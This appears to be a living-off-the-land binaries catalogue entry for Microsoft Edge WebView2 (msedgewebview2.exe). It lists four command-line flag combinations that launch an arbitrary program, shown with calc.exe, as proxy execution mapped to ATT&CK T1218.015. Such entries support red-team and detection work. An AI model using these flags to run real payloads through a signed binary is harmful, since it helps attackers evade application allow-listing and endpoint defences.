.. /msedgewebview2.exe
Star

Execute

msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content.


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn calc.exe as its subprocess.

    msedgewebview2.exe --no-sandbox --browser-subprocess-path="C:\Windows\System32\calc.exe"
    Use case
    Proxy execution of binary
    Privileges required
    Low privileges
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.015

  2. This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn calc.exe as its subprocess.

    msedgewebview2.exe --utility-cmd-prefix="calc.exe"
    Use case
    Proxy execution of binary
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.015

  3. This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn calc.exe as its subprocess.

    msedgewebview2.exe --disable-gpu-sandbox --gpu-launcher="calc.exe"
    Use case
    Proxy execution of binary
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.015

  4. This command launches the Microsoft Edge WebView2 browser control without sandboxing and will spawn calc.exe as its subprocess.

    msedgewebview2.exe --no-sandbox --renderer-cmd-prefix="calc.exe"
    Use case
    Proxy execution of binary
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.015